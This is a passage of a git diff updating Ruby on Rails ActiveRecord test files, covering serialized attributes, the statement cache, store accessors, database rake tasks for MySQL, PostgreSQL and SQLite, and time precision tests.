+    assert_equal({ foo: :bar }, t.content)
     t.save!
-    t.reload
-    assert_equal({ foo: :bar }, t.content_before_type_cast)
+    t = Reply.last
+    assert_equal({ foo: :bar }, t.content)
   end
 
-  def test_serialized_attributes_before_type_cast_returns_unserialized_value
-    Topic.serialize :content, Hash
+  def test_serialized_attribute_calling_dup_method
+    Topic.serialize :content, JSON
+
+    orig = Topic.new(content: { foo: :bar })
+    clone = orig.dup
+    assert_equal(orig.content, clone.content)
+  end
+
+  def test_serialized_json_attribute_returns_unserialized_value
+    Topic.serialize :content, JSON
+    my_post = posts(:welcome)
 
-    t = Topic.new(content: { foo: :bar })
-    assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+    t = Topic.new(content: my_post)
     t.save!
     t.reload
-    assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+
+    assert_instance_of(Hash, t.content)
+    assert_equal(my_post.id, t.content["id"])
+    assert_equal(my_post.title, t.content["title"])
   end
 
-  def test_serialized_attribute_calling_dup_method
+  def test_json_read_legacy_null
     Topic.serialize :content, JSON
 
-    t = Topic.new(:content => { :foo => :bar }).dup
-    assert_equal({ :foo => :bar }, t.content_before_type_cast)
+    # Force a row to have a JSON "null" instead of a database NULL (this is how
+    # null values are saved on 4.1 and before)
+    id = Topic.connection.insert "INSERT INTO topics (content) VALUES('null')"
+    t = Topic.find(id)
+
+    assert_nil t.content
+  end
+
+  def test_json_read_db_null
+    Topic.serialize :content, JSON
+
+    # Force a row to have a database NULL instead of a JSON "null"
+    id = Topic.connection.insert "INSERT INTO topics (content) VALUES(NULL)"
+    t = Topic.find(id)
+
+    assert_nil t.content
   end
 
   def test_serialized_attribute_declared_in_subclass
@@ -115,10 +134,11 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     assert_equal 1, Topic.where(:content => nil).count
   end
 
-  def test_serialized_attribute_should_raise_exception_on_save_with_wrong_type
+  def test_serialized_attribute_should_raise_exception_on_assignment_with_wrong_type
     Topic.serialize(:content, Hash)
-    topic = Topic.new(:content => "string")
-    assert_raise(ActiveRecord::SerializationTypeMismatch) { topic.save }
+    assert_raise(ActiveRecord::SerializationTypeMismatch) do
+      Topic.new(content: 'string')
+    end
   end
 
   def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
@@ -169,58 +189,34 @@ class SerializedAttributeTest < ActiveRecord::TestCase
   end
 
   def test_serialize_with_coder
-    coder = Class.new {
-      # Identity
-      def load(thing)
-        thing
+    some_class = Struct.new(:foo) do
+      def self.dump(value)
+        value.foo
       end
 
-      # base 64
-      def dump(thing)
-        [thing].pack('m')
+      def self.load(value)
+        new(value)
       end
-    }.new
-
-    Topic.serialize(:content, coder)
-    s = 'hello world'
-    topic = Topic.new(:content => s)
-    assert topic.save
-    topic = topic.reload
-    assert_equal [s].pack('m'), topic.content
-  end
-
-  def test_serialize_with_bcrypt_coder
-    crypt_coder = Class.new {
-      def load(thing)
-        return unless thing
-        BCrypt::Password.new thing
-      end
-
-      def dump(thing)
-        BCrypt::Password.create(thing).to_s
-      end
-    }.new
+    end
 
-    Topic.serialize(:content, crypt_coder)
-    password = 'password'
-    topic = Topic.new(:content => password)
-    assert topic.save
-    topic = topic.reload
-    assert_kind_of BCrypt::Password, topic.content
-    assert_equal(true, topic.content == password, 'password should equal')
+    Topic.serialize(:content, some_class)
+    topic = Topic.new(:content => some_class.new('my value'))
+    topic.save!
+    topic.reload
+    assert_kind_of some_class, topic.content
+    assert_equal topic.content, some_class.new('my value')
   end
 
   def test_serialize_attribute_via_select_method_when_time_zone_available
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    Topic.serialize(:content, MyObject)
+    with_timezone_config aware_attributes: true do
+      Topic.serialize(:content, MyObject)
 
-    myobj = MyObject.new('value1', 'value2')
-    topic = Topic.create(content: myobj)
+      myobj = MyObject.new('value1', 'value2')
+      topic = Topic.create(content: myobj)
 
-    assert_equal(myobj, Topic.select(:content).find(topic.id).content)
-    assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
+      assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+      assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+    end
   end
 
   def test_serialize_attribute_can_be_serialized_in_an_integer_column
@@ -237,16 +233,35 @@ class SerializedAttributeTest < ActiveRecord::TestCase
     assert_equal [], light.long_state
   end
 
-  def test_serialized_column_should_not_be_wrapped_twice
-    Topic.serialize(:content, MyObject)
+  def test_serialized_column_should_unserialize_after_update_column
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
 
-    myobj = MyObject.new('value1', 'value2')
-    Topic.create(content: myobj)
-    Topic.create(content: myobj)
+    t.update_column(:content, ["second"])
+    assert_equal(["second"], t.content)
+    assert_equal(["second"], t.reload.content)
+  end
+
+  def test_serialized_column_should_unserialize_after_update_attribute
+    t = Topic.create(content: "first")
+    assert_equal("first", t.content)
+
+    t.update_attribute(:content, "second")
+    assert_equal("second", t.content)
+    assert_equal("second", t.reload.content)
+  end
+
+  def test_nil_is_not_changed_when_serialized_with_a_class
+    Topic.serialize(:content, Array)
+
+    topic = Topic.new(content: nil)
+
+    assert_not topic.content_changed?
+  end
 
-    Topic.all.each do |topic|
-      type = topic.instance_variable_get("@columns_hash")["content"]
-      assert !type.instance_variable_get("@column").is_a?(ActiveRecord::AttributeMethods::Serialization::Type)
+  def test_classes_without_no_arg_constructors_are_not_supported
+    assert_raises(ArgumentError) do
+      Topic.serialize(:content, Regexp)
     end
   end
 end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
index 76da49707f..a704b861cb 100644
--- a/activerecord/test/cases/statement_cache_test.rb
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -10,27 +10,61 @@ module ActiveRecord
       @connection = ActiveRecord::Base.connection
     end
 
+    #Cache v 1.1 tests
+    def test_statement_cache
+      Book.create(name: "my book")
+      Book.create(name: "my other book")
+
+      cache = StatementCache.create(Book.connection) do |params|
+        Book.where(:name => params.bind)
+      end
+
+      b = cache.execute([ "my book" ], Book, Book.connection)
+      assert_equal "my book", b[0].name
+      b = cache.execute([ "my other book" ], Book, Book.connection)
+      assert_equal "my other book", b[0].name
+    end
+
+
+    def test_statement_cache_id
+      b1 = Book.create(name: "my book")
+      b2 = Book.create(name: "my other book")
+
+      cache = StatementCache.create(Book.connection) do |params|
+        Book.where(id: params.bind)
+      end
+
+      b = cache.execute([ b1.id ], Book, Book.connection)
+      assert_equal b1.name, b[0].name
+      b = cache.execute([ b2.id ], Book, Book.connection)
+      assert_equal b2.name, b[0].name
+    end
+
+    def test_find_or_create_by
+      Book.create(name: "my book")
+
+      a = Book.find_or_create_by(name: "my book")
+      b = Book.find_or_create_by(name: "my other book")
+
+      assert_equal("my book", a.name)
+      assert_equal("my other book", b.name)
+    end
+
+    #End
+
     def test_statement_cache_with_simple_statement
-      cache = ActiveRecord::StatementCache.new do
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
         Book.where(name: "my book").where("author_id > 3")
       end
 
       Book.create(name: "my book", author_id: 4)
 
-      books = cache.execute
+      books = cache.execute([], Book, Book.connection)
       assert_equal "my book", books[0].name
     end
 
-    def test_statement_cache_with_nil_statement_raises_error
-      assert_raise(ArgumentError) do
-        ActiveRecord::StatementCache.new do
-          nil
-        end
-      end
-    end
-
     def test_statement_cache_with_complex_statement
-      cache = ActiveRecord::StatementCache.new do
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
         Liquid.joins(:molecules => :electrons).where('molecules.name' => 'dioxane', 'electrons.name' => 'lepton')
       end
 
@@ -38,12 +72,12 @@ module ActiveRecord
       molecule = salty.molecules.create(name: 'dioxane')
       molecule.electrons.create(name: 'lepton')
 
-      liquids = cache.execute
+      liquids = cache.execute([], Book, Book.connection)
       assert_equal "salty", liquids[0].name
     end
 
     def test_statement_cache_values_differ
-      cache = ActiveRecord::StatementCache.new do
+      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
         Book.where(name: "my book")
       end
 
@@ -51,13 +85,13 @@ module ActiveRecord
         Book.create(name: "my book")
       end
 
-      first_books = cache.execute
+      first_books = cache.execute([], Book, Book.connection)
 
       3.times do
         Book.create(name: "my book")
       end
 
-      additional_books = cache.execute
+      additional_books = cache.execute([], Book, Book.connection)
       assert first_books != additional_books
     end
   end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index c2c56abacd..e9cdf94c99 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -150,4 +150,45 @@ class StoreTest < ActiveRecord::TestCase
   test "all stored attributes are returned" do
     assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
   end
+
+  test "stored_attributes are tracked per class" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :width, :height
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:width, :height], second_model.stored_attributes[:data]
+  end
+
+  test "stored_attributes are tracked per subclass" do
+    first_model = Class.new(ActiveRecord::Base) do
+      store_accessor :data, :color
+    end
+    second_model = Class.new(first_model) do
+      store_accessor :data, :width, :height
+    end
+    third_model = Class.new(first_model) do
+      store_accessor :data, :area, :volume
+    end
+
+    assert_equal [:color], first_model.stored_attributes[:data]
+    assert_equal [:color, :width, :height], second_model.stored_attributes[:data]
+    assert_equal [:color, :area, :volume], third_model.stored_attributes[:data]
+  end
+
+  test "YAML coder initializes the store when a Nil value is given" do
+    assert_equal({}, @john.params)
+  end
+
+  test "dump, load and dump again a model" do
+    dumped = YAML.dump(@john)
+    loaded = YAML.load(dumped)
+    assert_equal @john, loaded
+
+    second_dump = YAML.dump(loaded)
+    assert_equal @john, YAML.load(second_dump)
+  end
 end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index e9000fef25..2fa033ed45 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -1,4 +1,5 @@
 require 'cases/helper'
+require 'active_record/tasks/database_tasks'
 
 module ActiveRecord
   module DatabaseTasksSetupper
@@ -128,11 +129,22 @@ module ActiveRecord
       )
     end
 
-    def test_creates_test_database_when_environment_is_database
+    def test_creates_test_and_development_databases_when_env_was_not_specified
       ActiveRecord::Tasks::DatabaseTasks.expects(:create).
         with('database' => 'dev-db')
       ActiveRecord::Tasks::DatabaseTasks.expects(:create).
         with('database' => 'test-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.create_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+
+    def test_creates_only_development_database_when_rails_env_is_development
+      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+        with('database' => 'dev-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns('development')
 
       ActiveRecord::Tasks::DatabaseTasks.create_current(
         ActiveSupport::StringInquirer.new('development')
@@ -142,7 +154,7 @@ module ActiveRecord
     def test_establishes_connection_for_the_given_environment
       ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
 
-      ActiveRecord::Base.expects(:establish_connection).with('development')
+      ActiveRecord::Base.expects(:establish_connection).with(:development)
 
       ActiveRecord::Tasks::DatabaseTasks.create_current(
         ActiveSupport::StringInquirer.new('development')
@@ -193,7 +205,7 @@ module ActiveRecord
       ActiveRecord::Tasks::DatabaseTasks.drop_all
     end
 
-    def test_creates_configurations_with_local_ip
+    def test_drops_configurations_with_local_ip
       @configurations[:development].merge!('host' => '127.0.0.1')
 
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -201,7 +213,7 @@ module ActiveRecord
       ActiveRecord::Tasks::DatabaseTasks.drop_all
     end
 
-    def test_creates_configurations_with_local_host
+    def test_drops_configurations_with_local_host
       @configurations[:development].merge!('host' => 'localhost')
 
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -209,7 +221,7 @@ module ActiveRecord
       ActiveRecord::Tasks::DatabaseTasks.drop_all
     end
 
-    def test_creates_configurations_with_blank_hosts
+    def test_drops_configurations_with_blank_hosts
       @configurations[:development].merge!('host' => nil)
 
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -229,7 +241,7 @@ module ActiveRecord
       ActiveRecord::Base.stubs(:configurations).returns(@configurations)
     end
 
-    def test_creates_current_environment_database
+    def test_drops_current_environment_database
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
         with('database' => 'prod-db')
 
@@ -238,11 +250,22 @@ module ActiveRecord
       )
     end
 
-    def test_creates_test_database_when_environment_is_database
+    def test_drops_test_and_development_databases_when_env_was_not_specified
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
         with('database' => 'dev-db')
       ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
         with('database' => 'test-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+      ActiveRecord::Tasks::DatabaseTasks.drop_current(
+        ActiveSupport::StringInquirer.new('development')
+      )
+    end
+
+    def test_drops_only_development_database_when_rails_env_is_development
+      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+        with('database' => 'dev-db')
+      ENV.expects(:[]).with('RAILS_ENV').returns('development')
 
       ActiveRecord::Tasks::DatabaseTasks.drop_current(
         ActiveSupport::StringInquirer.new('development')
@@ -250,6 +273,19 @@ module ActiveRecord
     end
   end
 
+  class DatabaseTasksMigrateTest < ActiveRecord::TestCase
+    def test_migrate_receives_correct_env_vars
+      verbose, version = ENV['VERBOSE'], ENV['VERSION']
+
+      ENV['VERBOSE'] = 'false'
+      ENV['VERSION'] = '4'
+
+      ActiveRecord::Migrator.expects(:migrate).with(ActiveRecord::Migrator.migrations_paths, 4)
+      ActiveRecord::Tasks::DatabaseTasks.migrate
+    ensure
+      ENV['VERBOSE'], ENV['VERSION'] = verbose, version
+    end
+  end
 
   class DatabaseTasksPurgeTest < ActiveRecord::TestCase
     include DatabaseTasksSetupper
@@ -262,6 +298,35 @@ module ActiveRecord
     end
   end
 
+  class DatabaseTasksPurgeCurrentTest < ActiveRecord::TestCase
+    def test_purges_current_environment_database
+      configurations = {
+        'development' => {'database' => 'dev-db'},
+        'test'        => {'database' => 'test-db'},
+        'production'  => {'database' => 'prod-db'}
+      }
+      ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+        with('database' => 'prod-db')
+      ActiveRecord::Base.expects(:establish_connection).with(:production)
+
+      ActiveRecord::Tasks::DatabaseTasks.purge_current('production')
+    end
+  end
+
+  class DatabaseTasksPurgeAllTest < ActiveRecord::TestCase
+    def test_purge_all_local_configurations
+      configurations = {:development => {'database' => 'my-db'}}
+      ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+        with('database' => 'my-db')
+
+      ActiveRecord::Tasks::DatabaseTasks.purge_all
+    end
+  end
+
   class DatabaseTasksCharsetTest < ActiveRecord::TestCase
     include DatabaseTasksSetupper
 
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
index 816bd62751..f58535f044 100644
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -1,5 +1,6 @@
 require 'cases/helper'
 
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
 module ActiveRecord
   class MysqlDBCreateTest < ActiveRecord::TestCase
     def setup
@@ -65,99 +66,98 @@ module ActiveRecord
     end
   end
 
-  class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
-    def setup
-      unless current_adapter?(:MysqlAdapter)
-        return skip("only tested on mysql")
+  if current_adapter?(:MysqlAdapter)
+    class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+      def setup
+        @connection    = stub("Connection", create_database: true)
+        @error         = Mysql::Error.new "Invalid permissions"
+        @configuration = {
+          'adapter'  => 'mysql',
+          'database' => 'my-app-db',
+          'username' => 'pat',
+          'password' => 'wossname'
+        }
+
+        $stdin.stubs(:gets).returns("secret\n")
+        $stdout.stubs(:print).returns(nil)
+        @error.stubs(:errno).returns(1045)
+        ActiveRecord::Base.stubs(:connection).returns(@connection)
+        ActiveRecord::Base.stubs(:establish_connection).
+          raises(@error).
+          then.returns(true)
       end
 
-      @connection    = stub("Connection", create_database: true)
-      @error         = Mysql::Error.new "Invalid permissions"
-      @configuration = {
-        'adapter'  => 'mysql',
-        'database' => 'my-app-db',
-        'username' => 'pat',
-        'password' => 'wossname'
-      }
+      if defined?(::Mysql)
+        def test_root_password_is_requested
+          assert_permissions_granted_for "pat"
+          $stdin.expects(:gets).returns("secret\n")
 
-      $stdin.stubs(:gets).returns("secret\n")
-      $stdout.stubs(:print).returns(nil)
-      @error.stubs(:errno).returns(1045)
-      ActiveRecord::Base.stubs(:connection).returns(@connection)
-      ActiveRecord::Base.stubs(:establish_connection).
-        raises(@error).
-        then.returns(true)
-    end
-
-    def test_root_password_is_requested
-      assert_permissions_granted_for "pat"
-      skip "only if mysql is available" unless defined?(::Mysql)
-      $stdin.expects(:gets).returns("secret\n")
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_connection_established_as_root
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Base.expects(:establish_connection).with(
+          'adapter'  => 'mysql',
+          'database' => nil,
+          'username' => 'root',
+          'password' => 'secret'
+        )
 
-    def test_connection_established_as_root
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Base.expects(:establish_connection).with(
-        'adapter'  => 'mysql',
-        'database' => nil,
-        'username' => 'root',
-        'password' => 'secret'
-      )
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_database_created_by_root
+        assert_permissions_granted_for "pat"
+        @connection.expects(:create_database).
+          with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
 
-    def test_database_created_by_root
-      assert_permissions_granted_for "pat"
-      @connection.expects(:create_database).
-        with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_grant_privileges_for_normal_user
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-    def test_grant_privileges_for_normal_user
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_do_not_grant_privileges_for_root_user
+        @configuration['username'] = 'root'
+        @configuration['password'] = ''
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-    def test_do_not_grant_privileges_for_root_user
-      @configuration['username'] = 'root'
-      @configuration['password'] = ''
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_connection_established_as_normal_user
+        assert_permissions_granted_for "pat"
+        ActiveRecord::Base.expects(:establish_connection).returns do
+          ActiveRecord::Base.expects(:establish_connection).with(
+            'adapter'  => 'mysql',
+            'database' => 'my-app-db',
+            'username' => 'pat',
+            'password' => 'secret'
+          )
 
-    def test_connection_established_as_normal_user
-      assert_permissions_granted_for "pat"
-      ActiveRecord::Base.expects(:establish_connection).returns do
-        ActiveRecord::Base.expects(:establish_connection).with(
-          'adapter'  => 'mysql',
-          'database' => 'my-app-db',
-          'username' => 'pat',
-          'password' => 'secret'
-        )
+          raise @error
+        end
 
-        raise @error
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
       end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
-    end
+      def test_sends_output_to_stderr_when_other_errors
+        @error.stubs(:errno).returns(42)
 
-    def test_sends_output_to_stderr_when_other_errors
-      @error.stubs(:errno).returns(42)
+        $stderr.expects(:puts).at_least_once.returns(nil)
 
-      $stderr.expects(:puts).at_least_once.returns(nil)
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      end
 
-      ActiveRecord::Tasks::DatabaseTasks.create @configuration
+      private
+        def assert_permissions_granted_for(db_user)
+          db_name = @configuration['database']
+          db_password = @configuration['password']
+          @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+        end
     end
-
-    private
-      def assert_permissions_granted_for(db_user)
-        db_name = @configuration['database']
-        db_password = @configuration['password']
-        @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
-      end
   end
 
   class MySQLDBDropTest < ActiveRecord::TestCase
@@ -197,8 +197,8 @@ module ActiveRecord
       ActiveRecord::Base.stubs(:establish_connection).returns(true)
     end
 
-    def test_establishes_connection_to_test_database
-      ActiveRecord::Base.expects(:establish_connection).with(:test)
+    def test_establishes_connection_to_the_appropriate_database
+      ActiveRecord::Base.expects(:establish_connection).with(@configuration)
 
       ActiveRecord::Tasks::DatabaseTasks.purge @configuration
     end
@@ -280,6 +280,15 @@ module ActiveRecord
 
       assert_match(/Could not dump the database structure/, warnings)
     end
+
+    def test_structure_dump_with_port_number
+      filename = "awesome-file.sql"
+      Kernel.expects(:system).with("mysqldump", "--port", "10000", "--result-file", filename, "--no-data", "test-db").returns(true)
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+        @configuration.merge('port' => 10000),
+        filename)
+    end
   end
 
   class MySQLStructureLoadTest < ActiveRecord::TestCase
@@ -299,3 +308,4 @@ module ActiveRecord
   end
 
 end
+end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
index f31896bc7f..0d574d071c 100644
--- a/activerecord/test/cases/tasks/postgresql_rake_test.rb
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -1,5 +1,6 @@
 require 'cases/helper'
 
+if current_adapter?(:PostgreSQLAdapter)
 module ActiveRecord
   class PostgreSQLDBCreateTest < ActiveRecord::TestCase
     def setup
@@ -206,7 +207,7 @@ module ActiveRecord
       @connection.expects(:schema_search_path).returns("foo")
 
       ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-      assert File.exists?(filename)
+      assert File.exist?(filename)
     ensure
       FileUtils.rm(filename)
     end
@@ -231,6 +232,14 @@ module ActiveRecord
 
       ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
     end
+
+    def test_structure_load_accepts_path_with_spaces
+      filename = "awesome file.sql"
+      Kernel.expects(:system).with("psql -q -f awesome\\ file.sql my-app-db")
+
+      ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+    end
   end
 
 end
+end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
index 7209c0f14d..750d5e42dc 100644
--- a/activerecord/test/cases/tasks/sqlite_rake_test.rb
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -1,6 +1,7 @@
 require 'cases/helper'
 require 'pathname'
 
+if current_adapter?(:SQLite3Adapter)
 module ActiveRecord
   class SqliteDBCreateTest < ActiveRecord::TestCase
     def setup
@@ -159,8 +160,8 @@ module ActiveRecord
       filename = "awesome-file.sql"
 
       ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
-      assert File.exists?(dbfile)
-      assert File.exists?(filename)
+      assert File.exist?(dbfile)
+      assert File.exist?(filename)
     ensure
       FileUtils.rm_f(filename)
       FileUtils.rm_f(dbfile)
@@ -182,10 +183,11 @@ module ActiveRecord
 
       open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
       ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
-      assert File.exists?(dbfile)
+      assert File.exist?(dbfile)
     ensure
       FileUtils.rm_f(filename)
       FileUtils.rm_f(dbfile)
     end
   end
 end
+end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
index 8c6d189b0c..e0b01ae8e0 100644
--- a/activerecord/test/cases/test_case.rb
+++ b/activerecord/test/cases/test_case.rb
@@ -1,34 +1,35 @@
 require 'active_support/test_case'
+require 'active_support/testing/stream'
 
 module ActiveRecord
   # = Active Record Test Case
   #
   # Defines some test assertions to test against SQL queries.
   class TestCase < ActiveSupport::TestCase #:nodoc:
+    include ActiveSupport::Testing::Stream
+
     def teardown
       SQLCounter.clear_log
     end
 
     def assert_date_from_db(expected, actual, message = nil)
-      # SybaseAdapter doesn't have a separate column type just for dates,
-      # so the time is in the string and incorrectly formatted
-      if current_adapter?(:SybaseAdapter)
-        assert_equal expected.to_s, actual.to_date.to_s, message
-      else
-        assert_equal expected.to_s, actual.to_s, message
-      end
+      assert_equal expected.to_s, actual.to_s, message
     end
 
-    def assert_sql(*patterns_to_match)
+    def capture_sql
       SQLCounter.clear_log
       yield
-      SQLCounter.log_all
+      SQLCounter.log_all.dup
+    end
+
+    def assert_sql(*patterns_to_match)
+      capture_sql { yield }
     ensure
       failed_patterns = []
       patterns_to_match.each do |pattern|
         failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
       end
-      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
     end
 
     def assert_queries(num = 1, options = {})
@@ -77,9 +78,9 @@ module ActiveRecord
     # FIXME: this needs to be refactored so specific database can add their own
     # ignored SQL, or better yet, use a different notification for the queries
     # instead examining the SQL content.
-    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
-    mysql_ignored      = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
-    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
+    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
+    mysql_ignored      = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /]
+    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select tablename\b.*from pg_tables\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
     sqlite3_ignored =    [/^\s*SELECT name\b.*\bFROM sqlite_master/im]
 
     [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
diff --git a/activerecord/test/cases/time_precision_test.rb b/activerecord/test/cases/time_precision_test.rb
new file mode 100644
index 0000000000..23422fd50a
--- /dev/null
+++ b/activerecord/test/cases/time_precision_test.rb
@@ -0,0 +1,65 @@
+require 'cases/helper'
+
+if ActiveRecord::Base.connection.supports_datetime_with_precision?
+class TimePrecisionTest < ActiveRecord::TestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  teardown do
+    @connection.drop_table :foos, if_exists: true
+  end
+
+  def test_time_data_type_with_precision
+    @connection.create_table(:foos, force: true)
+    @connection.add_column :foos, :start,  :time, precision: 3
+    @connection.add_column :foos, :finish, :time, precision: 6
+    assert_equal 3, activerecord_column_option('foos', 'start',  'precision')
+    assert_equal 6, activerecord_column_option('foos', 'finish', 'precision')
+  end
+
+  def test_passing_precision_to_time_does_not_set_limit
+    @connection.create_table(:foos, force: true) do |t|
+      t.time :start,  precision: 3
+      t.time :finish, precision: 6
+    end
+    assert_nil activerecord_column_option('foos', 'start',  'limit')
+    assert_nil activerecord_column_option('foos', 'finish', 'limit')
+  end
+
+  def test_invalid_time_precision_raises_error
+    assert_raises ActiveRecord::ActiveRecordError do
+      @connection.create_table(:foos, force: true) do |t|
+        t.time :start,  precision: 7
+        t.time :finish, precision: 7
+      end
+    end
+  end
+
+  def test_database_agrees_with_activerecord_about_precision
+    @connection.create_table(:foos, force: true) do |t|
+      t.time :start,  precision: 2
+      t.time :finish, precision: 4
+    end
+    assert_equal 2, database_datetime_precision('foos', 'start')
+    assert_equal 4, database_datetime_precision('foos', 'finish')
+  end
+
+  private
+
+  def database_datetime_precision(table_name, column_name)
+    results = @connection.exec_query("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name = '#{table_name}'")
+    result = results.find do |result_hash|
+      result_hash["column_name"] == column_name
+    end
+    result && result["datetime_precision"].to_i
+  end
+
+  def activerecord_column_option(tablename, column_name, option)
+    result = @connection.columns(tablename).find do |column|
+      column.name == column_name
+    end
+    result && result.send(option)
+  end
+end
+end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index ff1b01556d..db474c63a4 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
